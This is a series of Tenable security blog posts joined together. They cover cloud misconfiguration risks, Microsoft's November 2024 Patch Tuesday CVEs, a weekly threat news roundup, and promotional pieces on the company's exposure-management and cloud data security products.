Like the big bad wolf in the Little Red Riding Hood fable, a toxic cloud trilogy masks its existence and severity in the cloud environment. The masking makes these high risks hard to spot, prioritize and remediate. In this blog we discuss the implications of the toxic cloud trilogy and offer guidance for actions to avoid them.

Why we conducted this research

To help our customers — and ourselves — better understand the most prevalent risks in cloud environments, the Tenable Cloud Research team analyzed telemetry from millions of cloud resources in active production across multiple public cloud repositories. Conducted in the first half of 2024, the research included cloud workload and configuration information. To determine the most exploitable vulnerabilities the team applied Tenable’s Vulnerability Priority Rating (VPR) to common cloud CVEs.

Why a toxic cloud trilogy increases risk

A toxic cloud trilogy increases risk by making the workload’s weaknesses easier for attackers to exploit — and making the scope of exploitation potentially greater.

Cloud security involves layers of defense to prevent breaches if a given layer fails; a toxic trilogy effectively erodes these layers. Bad actors seek out critical vulnerabilities or publicly accessible assets. Finding one, they can commandeer highly privileged permissions or roles to burrow their way in, accessing — and even exfiltrating — sensitive data. For example, an attacker can modify access policies or elevate privileges, moving laterally and deploying resources to gain access to even more sensitive areas.

Prevalence of toxic cloud trilogies in organizations worldwide Source: Tenable Cloud Risk Report 2024, October 2024

The work of mitigating toxic cloud trilogies needs to be high on a security team’s “to do” list. That’s easier said than done. Let’s explore the challenges organizations face in addressing such exposures.

Organizational causes of toxic cloud trilogies

How are such risky combinations getting through? Fault lines can be organizational, due to siloed tooling that limits visibility. Another contributing factor is the distributed ownership of systems, spanning development, IT and cybersecurity teams, among others. Each of these teams may have a different level of risk appetite.

Here are three examples of how these factors contribute to the creation of toxic cloud trilogies:

• Didn’t see it. Siloed tooling looks for specific kinds of flaws. They can create false positives that don’t show the full context of an identified exposure, such as a vulnerability not being in runtime so not exploitable.
• Will the cloud risk owner please stand up? Depending on the organization — its size and organizational structure — many roles may play a part in managing cloud risk. You’d need to have a holistic view to catch a toxic trilogy.
• Risk hungry? The National Institute of Standards and Technology (NIST) defines cyber risk appetite as “The types and amount of risk, on a broad level, an organization is willing to accept in its pursuit of value.” While an organization may have its strategic risk appetite clearly spelled out, different teams with conflicting business goals may make compromises in implementation that clear the way for toxic cloud trilogies.

Why toxic cloud trilogy factors persist in organizations

Let’s take a closer look at each factor implicated in a toxic cloud trilogy and why these issues can be so difficult for organizations to address.

Critical vulnerabilities

Attackers abuse cloud vulnerabilities — flaws in cloud-based software — to gain unauthorized access, steal sensitive data and/or disrupt services. You would expect published CVEs to be easy, low-hanging fruit for cybersecurity teams to act on quickly. Doing so prevents or dismantles a toxic cloud trilogy. Yet, to our surprise, many high risk vulnerabilities in the data we examined remained unremediated even a month after a CVE was published.

High risk vulnerabilities remained largely unremediated after 30 days.

Why does remediating a vulnerability take so much time? One reason may be that, regardless of who technically “owns” vulnerability management in the organization, it requires the involvement of several teams. Depending on the organization’s structure, those involved in the process of remediating vulnerabilities could include security teams alerting vulnerability management teams, applications teams issuing software update requests of operating systems teams and DevSecOps teams needing to make related changes in CI/CD pipelines.

Another “drag” factor in resolving vulnerabilities may be tactical: teams see vulnerability remediation as time-consuming, requiring an arbitrary cycle of tasks. Adopting conventional wisdom, they may try to save cycles by taking a “batch the patch” approach: delaying the fix until every relevant patch is available. While this approach is understandable from a time management perspective, it places operational efficiency above security.

Excessive permissions

Attackers target credentials, putting identity and access management (IAM) on the radar of everyone responsible for securing the cloud. Overprivileged human identities are a known, high-impact risk factor in identity-based attacks. Overprivileged non-human identities are the key impact factor in breaches based on application vulnerabilities. All are part of the same IAM system.

87% of human identities in AWS have critical or high excessive permissions

Our research revealed extensive instances of excessive permissions in both human and non-human identities. We also found that human identities are granted significantly more risky excessive permissions than non human identities. For example, in the Amazon Web Services (AWS) permissions we studied, the vast majority had excessive critical and high risk permissions.

Human and non-human identity permissions in AWS Source: Tenable Cloud Risk Report 2024, October 2024

Avoiding risky permissions is a cloud security best practice, and also, in many cases, a compliance requirement, achieved by acting on least privilege implementation.

At the helm of permissions and access management are the IAM teams. Aided by no shortage of cloud providers and third-party tools — including AWS IAM, Microsoft Azure Active Directory, Google Cloud Platform (GCP) IAM; AWS IAM Access Analyzer, Azure Privileged Identity Management (PIM), Okta and Auth0 — they work to create and maintain access permissions structures and policies, and apply least privilege to the extent possible.

Security teams, on the other hand, are at another helm, and using other tools, to spot exposures. They are looking not only at permissions but also workloads, data, applications and infrastructure as a whole. This broader approach informs security teams about permissions-related risks as well as granular policy refinements that enforce least privilege, including when elevated permissions should be granted but limited by time.

By design, IAM tools lack full stack and even multi-cloud entitlements context; they may recommend least privilege yet from a narrow permissions and policy lens. They are unable to bring into focus access risk that feeds into a vulnerability or resource to create a toxic cloud trilogy.

IT and security leaders need to enable their IAM and security teams to work closely with each other. Do they?

And why are human identities more likely to be assigned excessive privileges? In some cases, project managers prevail upon their IT colleagues to elevate privileges for an urgent business need. Note, too, that developers may be using programmatic, IAM role-based templates to define access for non-human identities.

Public exposure

The phrase “public exposure” conjures up an actor performing before an audience. In cloud infrastructure, public assets — databases, websites, email servers and other online services — are just that: exposed to external networks so legitimate parties outside the organization can access them.

Risk increases when assets are unintentionally public with either excessive permissions and/or a vulnerability. Worse is when the asset contains sensitive data. Organizations need to be able examine whether an asset is configured as public. In the case of publicly exposed cloud storage, they need to be able to discover and classify sensitive data contained within, including who can access it and how it is used, so any remediation measures can be prioritized accordingly.

29% of organizations have public-facing storage buckets

Our research found that 96% of organizations have public-facing cloud assets; 29% of organizations have public-facing storage buckets. It is essential to know if this exposure is due to a misconfiguration, such as an unpatched resource or overprivileged access. If oversight is at play, it may be due to business drivers such as time to market or lack of cloud security personnel, or the need to implement guardrails, policies or visibility. Context and tools are needed to be able to monitor and close such exposure, and downgrade permissions to the minimal needed.

Key actions to prevent toxic cloud trilogies

Taking a few key actions can prevent toxic cloud trilogies in your cloud environment. Here’s what we recommend:

• Treat your cloud infrastructure security as a whole. Attackers have figured out that multi-cloud integrations offer fertile ground. Put your multiple cloud environments under one security roof, unifying workload monitoring, entitlements management and security posture, for comprehensive visibility. Include contextual analysis to reveal which cloud assets hold sensitive data and who can access them.
• Don’t wait, remediate CVEs. Make it your organization’s security culture to quickly address severe vulnerabilities. Context matters when prioritizing vulnerabilities for remediation. The ability to quickly analyze which systems contain a vulnerability, which users interact with that system, what data is stored there and whether or not it’s publicly accessible will enable you to prioritize those vulnerabilities which represent the greatest risk to your organization. You’ll be able to give prescriptive guidance to the other teams involved in your vulnerability remediation process.
• Don’t underestimate permissions risk. Analyze all identities dynamically, enabling teams to identify access risk and confidently resolve the excessive permissions that lead to toxic cloud trilogies. Apply least privilege principles, including through time-saving just-in-time access controls that make developers willing security partners.
• Be aware of public-facing assets and configurations. External exposure is a double-edged sword — necessary for doing business and a potential source of exposure. Rein in and monitor assets configured as public.

Summary

Our research showed that unwittingly or not, many organizations have unnecessary exposures in their cloud environments. Since we can’t know what a malicious actor will do next, control what you can. Add context to unmask and prioritize security gaps like the cloud toxic trilogy, and close such exposures swiftly.

Learn more

• Read the Tenable Cloud Risk Report 2024
• View the on-demand webinar Empower Your 2025 Cloud Security Planning with Tenable's Data Insights
• Read the Tenable Cloud Risk Report Sounds the Alarm on Toxic Cloud Exposures Threatening Global Organizations

1. 4Critical
2. 82Important
3. 1Moderate
4. 0Low

Microsoft addresses 87 CVEs and one advisory (ADV240001) in its November 2024 Patch Tuesday release, with four critical vulnerabilities and four zero-day vulnerabilities, including two that were exploited in the wild.

Microsoft patched 87 CVEs in its November 2024 Patch Tuesday release, with four rated critical, 82 rated important and one rated moderate.

This month’s update includes patches for:

• .NET and Visual Studio
• Airlift.microsoft.com
• Azure CycleCloud
• Azure Database for PostgreSQL
• LightGBM
• Microsoft Exchange Server
• Microsoft Graphics Component
• Microsoft Office Excel
• Microsoft Office Word
• Microsoft PC Manager
• Microsoft Virtual Hard Drive
• Microsoft Windows DNS
• Role: Windows Hyper-V
• SQL Server
• TorchGeo
• Visual Studio
• Visual Studio Code
• Windows Active Directory Certificate Services
• Windows CSC Service
• Windows DWM Core Library
• Windows Defender Application Control (WDAC)
• Windows Kerberos
• Windows Kernel
• Windows NT OS Kernel
• Windows NTLM
• Windows Package Library Manager
• Windows Registry
• Windows SMB
• Windows SMBv3 Client/Server
• Windows Secure Kernel Mode
• Windows Task Scheduler
• Windows Telephony Service
• Windows USB Video Driver
• Windows Update Stack
• Windows VMSwitch
• Windows Win32 Kernel Subsystem

Remote code execution (RCE) vulnerabilities accounted for 58.6% of the vulnerabilities patched this month, followed by elevation of privilege (EoP) vulnerabilities at 29.9%.

ImportantCVE-2024-43451 | NTLM Hash Disclosure Spoofing Vulnerability

CVE-2024-43451 is a NTLM hash spoofing vulnerability in Microsoft Windows. It was assigned a CVSSv3 score of 6.5 and is rated as important. An attacker could exploit this flaw by convincing a user to open a specially crafted file. Successful exploitation would lead to the unauthorized disclosure of a user’s NTLMv2 hash, which an attacker could then use to authenticate to the system as the user. According to Microsoft, CVE-2024-43451 was exploited in the wild as a zero-day. No further details about this vulnerability were available at the time this blog post was published.

This is the second NTLM spoofing vulnerability disclosed in 2024. Microsoft patched CVE-2024-30081 in its July Patch Tuesday release.

ImportantCVE-2024-49039 | Windows Task Scheduler Elevation of Privilege Vulnerability

CVE-2024-49039 is an EoP vulnerability in the Microsoft Windows Task Scheduler. It was assigned a CVSSv3 score of 8.8 and is rated as important. An attacker with local access to a vulnerable system could exploit this vulnerability by running a specially crafted application. Successful exploitation would allow an attacker to access resources that would otherwise be unavailable to them as well as execute code, such as remote procedure call (RPC) functions.

According to Microsoft, CVE-2024-49039 was exploited in the wild as a zero-day. It was disclosed to Microsoft by an anonymous researcher along with Vlad Stolyarov and Bahare Sabouri of Google's Threat Analysis Group. At the time this blog post was published, no further details about in-the-wild exploitation were available.

ImportantCVE-2024-49019 | Active Directory Certificate Services Elevation of Privilege Vulnerability

CVE-2024-49019 is an EoP vulnerability affecting Active Directory Certificate Services. It was assigned a CVSSv3 score of 7.8 and is rated as important. It was publicly disclosed prior to a patch being made available. According to Microsoft, successful exploitation would allow an attacker to gain administrator privileges. The advisory notes that “certificates created using a version 1 certificate template with Source of subject name set to ‘Supplied in the request’” are potentially impacted if the template has not been secured according to best practices. This vulnerability is assessed as “Exploitation More Likely” according to Microsoft’s Exploitability Index. Microsoft’s advisory also includes several mitigation steps for securing certificate templates which we highly recommend reviewing.

ImportantCVE-2024-49040 | Microsoft Exchange Server Spoofing Vulnerability

CVE-2024-49040 is a spoofing vulnerability affecting Microsoft Exchange Server 2016 and 2019. It was assigned a CVSSv3 score of 7.5 and rated as important. According to Microsoft, this vulnerability was publicly disclosed prior to a patch being made available. After applying the update, administrators should review the support article Exchange Server non-RFC compliant P2 FROM header detection. The supplemental guide notes that as part of a “secure by default” approach, the Exchange Server update for November will flag suspicious emails which may contain “malicious patterns in the P2 FROM header.” While this feature can be disabled, Microsoft strongly recommends leaving it enabled to provide further protection from phishing attempts and malicious emails.

CriticalCVE-2024-43639 | Windows Kerberos Remote Code Execution Vulnerability

CVE-2024-43639 is a critical RCE vulnerability affecting Windows Kerberos, an authentication protocol designed to verify user or host identities. It was assigned a CVSSv3 score of 9.8 and is rated as “Exploitation Less Likely.”

To exploit this vulnerability, an unauthenticated attacker needs to leverage a cryptographic protocol vulnerability in order to achieve RCE. No further details were provided by Microsoft about this vulnerability at the time this blog was published.

Important29 CVEs | SQL Server Native Client Remote Code Execution Vulnerability

This month's release included 29 CVEs for RCEs affecting SQL Server Native Client. All of these CVEs received CVSSv3 scores of 8.8 and were rated as “Exploitation Less Likely.” Successful exploitation of these vulnerabilities can be achieved by convincing an authenticated user into connecting to a malicious SQL server database using an affected driver. A full list of the CVEs are included in the table below.

CVEDescriptionCVSSv3CVE-2024-38255SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-43459SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-43462SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-48993SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-48994SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-48995SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-48996SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-48997SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-48998SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-48999SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49000SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49001SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49002SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49003SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49004SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49005SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49006SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49007SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49008SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49009SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49010SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49011SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49012SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49013SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49014SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49015SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49016SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49017SQL Server Native Client Remote Code Execution Vulnerability8.8CVE-2024-49018SQL Server Native Client Remote Code Execution Vulnerability8.8ImportantCVE-2024-43602 | Azure CycleCloud Remote Code Execution Vulnerability

CVE-2024-43602 is a RCE vulnerability in Microsoft’s Azure CycleCloud, a tool that helps in managing and orchestrating High Performance Computing (HPC) environments in Azure. This flaw received the highest CVSSv3 score of the month, a 9.9 and was rated as important. A user with basic permissions could exploit CVE-2024-43602 by sending specially crafted requests to a vulnerable AzureCloud CycleCloud cluster to modify its configuration. Successful exploitation would result in the user gaining root permissions, which could then be used to execute commands on any cluster in the Azure CycleCloud as well as steal admin credentials.

Tenable Solutions

A list of all the plugins released for Microsoft’s November 2024 Patch Tuesday update can be found here. As always, we recommend patching systems as soon as possible and regularly scanning your environment to identify those systems yet to be patched.

For more specific guidance on best practices for vulnerability assessments, please refer to our blog post on How to Perform Efficient Vulnerability Assessments with Tenable.

Get more information

• Microsoft's November 2024 Security Updates
• Tenable plugins for Microsoft November 2024 Patch Tuesday Security Updates

Join Tenable's Security Response Team on the Tenable Community.
Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

CISA is warning about a spear-phishing campaign that spreads malicious RDP files. Plus, OWASP is offering guidance about deepfakes and AI security. Meanwhile, cybercriminals have amplified their use of malware for fake software-update attacks. And get the latest on CISA’s international plan, Interpol’s cyber crackdown and ransomware trends.

Dive into six things that are top of mind for the week ending Nov. 8.

1 - CISA: Beware of nasty spear-phishing campaign

Proactively restrict outbound remote-desktop protocol (RDP) connections. Block transmission of RDP files via email. Prevent RDP file execution.

Those are three security measures cyber teams should proactively take in response to an ongoing and “large scale” email spear-phishing campaign targeting victims with malicious RDP files, according to the U.S. Cybersecurity and Infrastructure Security Agency (CISA).

A foreign threat actor is carrying out the campaign. Several vertical sectors, including government and IT, are being targeted.

“Once access has been gained, the threat actor may pursue additional activity, such as deploying malicious code to achieve persistent access to the target’s network,” CISA’s alert reads.
 

Other CISA recommendations include:

• Adopt phishing-resistant multi-factor authentication (MFA), such as FIDO tokens, and try to avoid SMS-based MFA
• Educate users on how to spot suspicious emails
• Hunt for malicious activity in your network looking for indicators of compromise (IoCs) and tactics, techniques and procedures

Although CISA didn’t name the hacker group responsible for this campaign, its alert includes links to related articles from Microsoft and AWS that identify it as Midnight Blizzard. Also known as APT29, this group is affiliated with Russia’s government.

To get more details, check out the CISA alert “Foreign Threat Actor Conducting Large-Scale Spear-Phishing Campaign with RDP Attachments.”

For more information about securing RDP tools:

• “Commonly Exploited Protocols: Remote Desktop Protocol (RDP)” (Center for Internet Security)
• “What is remote desktop protocol (RDP)?” (TechTarget)
• “Wondering Whether RDP IS Secure? Here's a Guide to Remote Desktop Protocol” (AllBusiness)
• “Why remote desktop tools are facing an onslaught of cyber threats” (ITPro)
• “'Midnight Blizzard' Targets Networks With Signed RDP Files” (Dark Reading)

2 - OWASP issues AI security resources

How should your organization respond to deepfakes? What’s the right way of establishing a center of excellence for AI security in your organization? Where can you find a comprehensive guide of tools to secure generative AI applications?

These questions are addressed in a new set of resources for AI security from the Open Worldwide Application Security Project’s OWASP Top 10 for LLM Application Security Project. 

The new resources are meant to help organizations securely adopt, develop and deploy LLM and generative AI systems and applications “with a comprehensive strategy encompassing governance, collaboration and practical tools,” OWASP said in a statement.

These are the new resources:

• “The Guide for Preparing and Responding to Deepfake Events,” which unpacks four types of deepfake schemes – financial fraud, job interview fraud, social engineering and misinformation – and offers guidance about each one in these areas:
  • preparation
  • detection and analysis
  • containment eradication and recovery
  • post-incident activity
• “The LLM and GenAI Center of Excellence Guide,” which aims to help CISOs and fellow organization leaders create a center of excellence for generative AI security that facilitates collaboration among various teams, including security, legal, data science and operations, so they can develop:
  • Generative AI security policies
  • Risk assessment and management processes
  • Training and awareness
  • Research and development
• “The AI Security Solution Landscape Guide,” which offers security teams a comprehensive catalog of open source and commercial tools for securing LLMs and generative AI applications.

To get more details, read OWASP’s announcement “OWASP Dramatically Expands GenAI Security Guidance.”

For more information about protecting your organization against deepfakes:

• “How to prevent deepfakes in the era of generative AI” (TechTarget)
• “Deepfake scams escalate, hitting more than half of businesses” (Cybersecurity Dive)
• “The AI Threat: Deepfake or Deep Fake? Unraveling the True Security Risks” (SecurityWeek)
• “How deepfakes threaten biometric security controls” (TechTarget)
• “Deepfakes break through as business threat” (CSO)

3 - Fake update variants dominate list of top malware in Q3

Hackers are doubling down on fake software-update attacks.

That’s the main takeaway from the Center for Internet Security’s list of the 10 most prevalent malware used during the third quarter.

Malware variants used to carry out fake browser-update attacks took the top four spots on the list: SocGholish, LandUpdate808, ClearFake and ZPHP. Collectively, they accounted for 77% of the quarter’s malware infections. It's the first time LandUpdate808 and ClearFake appear on this quarterly list.

(Source: “Top 10 Malware Q3 2024”, Center for Internet Security, October 2024)

In a fake software-update attack, a victim gets duped into installing a legitimate-looking update for, say, their preferred browser, that instead infects their computers with malware.

Here’s the full list, in descending order:

• SocGholish, a downloader distributed through malicious websites that tricks users into downloading it by offering fake software updates 
• LandUpdate808, a JavaScript downloader distributed through malicious websites via fake browser updates
• ClearFake, another JavaScript downloader used for fake browser-update attacks
• ZPHP, another JavaScript downloader used for fake software-update attacks
• Agent Tesla, a remote access trojan (RAT) that captures credentials, keystrokes and screenshots
• CoinMiner, a cryptocurrency miner that spreads using Windows Management Instrumentation (WMI)
• Arechclient2, also known as SectopRAT, is a .NET RAT whose capabilities include multiple stealth functions
• Mirai, a malware botnet that compromises IoT devices to launch DDoS attacks
• NanoCore, a RAT that spreads via malspam as a malicious Excel spreadsheet
• Lumma Stealer, an infostealer used to swipe personally identifiable information (PII), credentials, cookies and banking information

To get more information, the CIS blog “Top 10 Malware Q3 2024” offers details, context and indicators of compromise for each malware strain.

For details on fake update attacks:

• “Fake browser updates spread updated WarmCookie malware” (BleepingComputer)
• “Beware: Fake Browser Updates Deliver BitRAT and Lumma Stealer Malware” (The Hacker News)
• “Hackers Use Fake Browser Updates for AMOS Malware Attacks Targeting Mac Users” (MSSP Alert)
• “Malware crooks find an in with fake browser updates, in case real ones weren't bad enough” (The Register)
• “Fake Google Chrome errors trick you into running malicious PowerShell scripts” (BleepingComputer)

VIDEO

Fake Chrome Update Malware (The PC Security Channel)

4 - CISA’s first international plan unveiled

CISA has released its first-ever international plan, which outlines a strategy for boosting the agency’s collaboration with cybersecurity agencies from other countries.

Aligning cybersecurity efforts and goals with international partners is critical for tackling cyberthreats in the U.S. and abroad, according to the agency.

The three core pillars of CISA’s “2025 - 2026 International Strategic Plan” are:

• Help make more resilient other countries’ assets, systems and networks that impact U.S. critical infrastructure
• Boost the integrated cyber defenses of the U.S. and its international partners against their shared global cyberthreats
• Unify the coordination of international activities to strengthen cyberdefenses collectively

The plan will allow CISA to “reduce risk to the globally interconnected and interdependent cyber and physical infrastructure that Americans rely on every day,” CISA Director Jen Easterly said in a statement.

5 - Interpol hits phishers, ransomware gangs, info stealers

Interpol and its partners took down 22,000 malicious IP addresses and seized thousands of servers, laptops, and mobile phones used by cybercriminals to conduct phishing scams, deploy ransomware and steal information.

The four-month global operation, titled Synergia II and announced this week, involved law enforcement agencies and private-sector partners from 95 countries and netted 41 arrests.

“Together, we’ve not only dismantled malicious infrastructure but also prevented hundreds of thousands of potential victims from falling prey to cybercrime,” Neal Jetton, Director of Interpol’s Cybercrime Directorate, said in a statement.

In Hong Kong, more than 1,000 servers were taken offline, while authorities in Macau, China took another 291 servers offline. Meanwhile, in Estonia, authorities seized 80GB of server data, which is now being analyzed for links to phishing and banking malware.

For more information about global cybercrime trends:

• “AI-Powered Cybercrime Cartels on the Rise in Asia” (Dark Reading)
• “AI Now a Staple in Phishing Kits Sold to Hackers” (MSSP Alert)
• “The Business of Cybercrime Explodes” (BankDirector)
• “Nation state actors increasingly hide behind cybercriminal tactics and malware” (CSO)

6 - IST: Ransomware attacks surged in 2023

Ransomware gangs went into hyperdrive last year, increasing their attacks by 73% compared with 2022, according to the non-profit think tank Institute for Security and Technology (IST).

The IST attributes the sharp increase in attacks to a shift by ransomware groups to “big game hunting” – going after prominent, large organizations with deep pockets. 

“Available evidence suggests that government and industry actions taken in 2023 were not enough to significantly reduce the profitability of the ransomware model,” reads an IST blog.

Global Ransomware Incidents in 2023

Another takeaway: The ransomware-as-a-service (RaaS) model continued to prove extremely profitable in 2023, and it injected dynamism into the ransomware ecosystem. 

The RaaS model prompted ransomware groups “to shift allegiances, form new groups, or iterate existing variants,” the IST blog reads.

The industry sector that ransomware groups hit the hardest was construction, followed by hospitals and healthcare, and by IT services and consulting. Financial services and law offices rounded out the top five.

To learn more about ransomware trends:

• “Ransomware Is ‘More Brutal’ Than Ever in 2024” (Wired)
• “Ransomware on track for record profits, even as fewer victims pay” (SC Magazine)
• “How Can I Protect Against Ransomware?” (CISA)
• “How to prevent ransomware in 6 steps” (TechTarget)
• “Steps to Help Prevent & Limit the Impact of Ransomware” (Center for Internet Security)

Vulnerability management remains a cornerstone of preventive cybersecurity, but organizations still struggle with vulnerability overload and sophisticated threats. Tenable’s new Exposure Signals gives security teams comprehensive context, so they can shift from vulnerability management to exposure management and effectively prioritize high-risk exposures across their complex attack surface.

A critical vulnerability has been disclosed and attackers worldwide are actively exploiting it in the wild. Your vulnerability management team jumps into action and determines that the vulnerability is present in hundreds of your organization’s assets. Which ones do you patch first? How do you prioritize your remediation efforts? What criteria do you use? The clock is ticking. Hackers are on the prowl.

Historically, your vulnerability management team would rely on severity scores like Vulnerability Priority Rating (VPR). This is a great start, but only gives you one indicator of risk. To prioritize remediation precisely and effectively, you need to consider a variety of other criteria, such as a vulnerable asset’s type, owner, and function; the access-level and privileges on the asset; and critical attack paths into your environment.

This type of comprehensive, holistic context will let you prioritize correctly, but it can only be achieved with a different approach that goes beyond traditional vulnerability management. That approach is exposure management. 

With exposure management, your vulnerability management team would be able to pinpoint the subset of assets affected by our hypothetical vulnerability that, for example, are externally accessible, possess domain-level privileges and are part of a critical attack path. That way they would know where the greatest risk is and what they need to remediate first. Having this deep insight, context and visibility transforms the risk assessment equation, and allows your vulnerability management team to move decisively, quickly and strategically.

In this blog, we’ll outline why it’s imperative for your vulnerability management teams to shift to an exposure management mindset, and we’ll explain how Tenable can help them do it.

To pinpoint riskiest vulns, vulnerability management needs broader exposure context 

In today's evolving cybersecurity landscape, vulnerability management remains one of the foundational pieces of an organization's proactive defense strategy. However, these teams still have difficulty in addressing the increased level of risks posed by the continuous surge of Common Vulnerabilities and Exposures (CVEs) and other flaws.

Many security teams are frequently overwhelmed by the sheer volume of vulnerabilities with limited resources to manage them effectively. The sophistication and speed of threat actors has escalated, with attackers having more entry points and using new tactics, techniques and procedures to access other critical areas of the business - demonstrating that attacks are no longer linear but multifaceted.

It’s common for security teams to struggle with:

• Vulnerability overload - This long-standing problem keeps getting worse. Security teams are finding it more difficult than ever to sift through the avalanche of CVEs and identify the areas of the business that have the most risk.
   
•  Lack of exposure context for prioritization - Your teams are making decisions while missing layers of context. Threat intelligence and vulnerability severity are a great start, but limiting yourself to them doesn’t give you the full context you need to prioritize properly. 
   
• Slow remediation response - Both proactive and reactive security teams devote massive amounts of time to responding to critical vulnerabilities. Resources are spread thin, making it more important than ever for teams to confidently identify the most high risk exposures when recommending remediation efforts.

Need to shift from a vulnerability to an exposure mindset

Knowing the struggles that you are dealing with today can help illuminate the benefits of exposure management. The missing links between a vulnerability and an exposure are the additional layers of context. Having multidimensional context enables you to understand not just the vulnerabilities themselves but their potential impact within the broader attack surface. This approach provides a more comprehensive view of an organization's security posture by considering factors such as threat intelligence, asset criticality, identities and access, as well as other pieces of context. With this additional information, you spend significantly less time sorting through stacks of similar vulnerabilities and you can be more focused on identifying key issues that pose risk - exposures.

For those who have never heard of exposure management or are just getting started, there are many benefits to this discipline. When it comes to Tenable’s approach, we adopt that same mentality with our exposure management platform. The goal is simple: exposure management empowers organizations to prioritize remediation efforts more effectively. It surfaces information that helps develop strategies to address not only the vulnerabilities themselves but the emergence of exposures that could lead to significant breaches.

The jump from vulnerability to exposure

Bridging the gap from vulnerability management to exposure management requires connecting context across the entire attack surface. Vulnerability management provides context that predicts the likelihood of an attack and displays key drivers, age of vulnerability and threat sources. These attributes are helpful, but we can go much further to improve our prioritization effectiveness. This requires having broader visibility and deeper insights across the attack surface to understand the bigger picture of exposures.

Specifically, security teams need additional context around:

• Asset context - There are many levels to an asset that can help drive prioritization decisions. It’s key to understand the criticality of an asset related to its type, function, owner name and its relationships to other assets. Even knowing if the asset is accessible from the internet or not will shape how its remediation is prioritized.
   
• Identities - Identities serve as the cornerstone for successful attacks, so it’s key to contextualize them for exposure management. Understanding user-privilege levels, entitlements and user information can help prevent attackers from gaining privilege escalation and moving laterally. Focusing prioritization efforts on vulnerable assets with domain and admin-level privileges is a critical best practice in order to reduce the likelihood of a breach.
   
• Threat context - Having various levels of threat context is also important to prioritize exposures. We know that threats change over time, so leveraging dynamic scoring like VPR or Asset Exposure Score (AES) can show indicators of risk. We can also bring in context from attack path modeling to influence remediation decisions based on the attacker’s perspective by understanding the number of critical attack paths or choke points in your environment.

When security analysts have this additional information, they can now truly understand the breadth and depth of the exposure. This is how prioritization is done in this new world of exposure management.

Introducing Exposure Signals

To help make it easier for you to shift to this exposure management mindset, we have developed a new prioritization capability called Exposure Signals. Available in Tenable One, Tenable’s exposure management platform, Exposure Signals allows security teams to have more comprehensive context in a centralized place for a focused view of risk. 

There are two ways to use these new Exposure Signals. The first is to access a comprehensive library of high-risk, prebuilt signals. Easy to refer to, they signal potential risk in your environment and create a great starting point for you to get your exposure management juices flowing. For example, you can easily see and refer to: 

• Domain admin group on internet-exposed hosts with critical vulnerabilities
• Devices exposed to the internet via RDP with an associated identity account with a compromised password
• Cloud assets with critical severity findings and asset exposure score above 700

Exposure Signals allow you to track the number of violations that signal high-risk scenarios in your environment. View this list on a regular basis to see how it changes over time with its unique trendline. Take exploration into your own hands by viewing the impacted asset and its contextual intelligence in our Inventory Module. 

The second way to use Exposure Signals is by creating your own signals using a query builder or natural language processing (NLP) search powered by ExposureAI. That way, you can go as broad or as precise as needed. For example, let’s say there is a new zero day vulnerability that sweeps the industry, similar to Log4Shell. You can easily create a signal to target which assets have the vulnerability, are internet facing and have domain admin-level privileges. We are stringing these components together so that you can understand your true risk and better direct your prioritization efforts.

To learn more about Tenable One and Exposure Signals, check out our interactive demo:

Preventing data loss, complying with regulations, automating workflows and managing access are four key challenges facing financial institutions. Learn how Tenable can help.

Imagine a bustling bank, made not of bricks and mortar, but of a swirling mass of data in the cloud. Account numbers, transaction histories and personally identifiable information (PII) zip across servers, powering the financial world. Holding all this sensitive data requires tremendous care. Therefore, securing this sensitive information is paramount.

This is where Tenable Cloud Security steps in, offering a data security shield specifically designed for the unique needs of financial institutions.

The challenge: A data deluge demands vigilance

Financial institutions generate massive volumes of data daily. While the public cloud offers unparalleled capacity to store such data, along with agility and scalability, the cloud also expands the attack surface. Legacy cybersecurity solutions are often unable to manage — let alone secure — the sheer volume of data and the variety of ways it is accessed, leaving organizations exposed to malicious actors. At the same time, financial institutions must keep up with new and evolving compliance standards and regulations set forth by governing bodies. Financial institutions need a security platform that helps them protect their data and maintain compliance.

Tenable Cloud Security’s advantage: Seeing beyond the walls

Tenable Cloud Security actively scrutinizes every corner of the cloud data vault, continuously and automatically.

"Without [Tenable Cloud Security], we would've been virtually blind to risks and threats impacting our sensitive data. [Tenable Cloud Security] allows us to preempt any issues and meet the requirements we're receiving from our business partners, with minimal effort.

— VP Security at a leading Fintech platform

Here's how Tenable empowers financial institutions:

• Protecting sensitive data: Tenable doesn't just guard the door; it knows what's inside and how to best protect it. It identifies and labels all data, like financial records and social security numbers, understanding its sensitivity and prioritizing its protection.
• Continuous monitoring: Imagine guards constantly scanning every inch of the vault. Tenable does the same digitally, using advanced technology to constantly search for suspicious activity and potential breaches. Any unusual movement of the data, either exfiltration or copying to a different and inaccessible location, triggers an alarm, allowing for immediate intervention.
• Policy enforcement: Just like a vault needs clear access protocols, so does your data. Tenable automates setting and enforcing cybersecurity policies across the entire cloud, ensuring everyone plays by the book and no unauthorized hands touch the valuables.
